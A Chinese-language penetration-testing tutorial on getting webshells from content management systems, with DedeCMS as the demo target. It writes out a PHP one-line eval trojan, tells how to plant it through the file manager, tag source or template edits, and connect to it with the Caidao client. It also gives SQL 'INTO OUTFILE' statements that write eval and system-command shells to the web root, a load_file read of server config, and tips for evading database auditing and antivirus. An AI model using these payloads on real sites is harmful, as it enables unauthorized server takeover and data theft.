CMS系统指的是内容管理系统。已经有别人开发好了整个网站的前后端，使用者只需要部署cms，然后通过后台添加数据，修改图片等工作，就能搭建好一个的WEB系统。
CMS获取Webshell方法
WordPress后台拿Webshell
phpcms拿Webshell
非CMS获取Webshell方法
更多的时候企业并不使用开源的CMS，而是选择自己开发源代码
参考：获取WEBshell思路 · 白帽与安全 · 看云
获取方法
1、数据库备份获取Webshell
2、抓包上传获取Webshell
3、Sql命令获取Webshell
4、模板修改获取Webshell
5、插入一句话获取Webshell
6、修改上传类型获取Webshell
示例
织梦dedecms演示
文件管理器新建木马文件
也可以用上传文件上传免杀的一句话木马
文件内容一句话木马：<?php @eval($_POST['q.']);?>
菜刀连接网址http://192.168.246.11/dedecms/uploads/q.php就可以获得受害机文件
如果没有文件管理器可以在模块的地方安装一下，用完在卸载就可以
标签源码编辑
或者直接新建一个标签源码，输入木马。就可以直接访问
模版修改
修改，在代码里面插入木马。
注意这里后缀是.html
Sql命令获取Webshell
思路：利用sql语句插入语句然后输出到指定木马php
如果提示没有权限，需要配置下my.ini内容secure_file_priv=''，这样就可以输出到指定文件
在执行语句就把木马放到指定文件了
因为上面的命令会创建表，如果有数据库审计设备会被发现，所以可以执行以下输入木马语句，避免对数据库操作
select '<?php @eval($_POST[pass]);?>' INTO OUTFILE 'C:\\php\\WWW\\dedecms\\1.php';
echo命令也可以：
select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'C:\\php\\WWW\\dedecms\\1.php'
读路径：
select load_file('c://windows//system32//inetsrv//MetaBase.xml ');
默认路径
Windows:
c:\windows\php.ini php配置文件
c:\windows\system32\inetsrv\MetaBase.xml IIS虚拟主机配置文件
Linux:
/etc/php.ini php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf Apache配置文件
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf 虚拟目录配置文件
其他获取webshell方法
1、Tomcat获取Webshell
2、Weblogic获取Webshell
3、JBoss获取Webshell
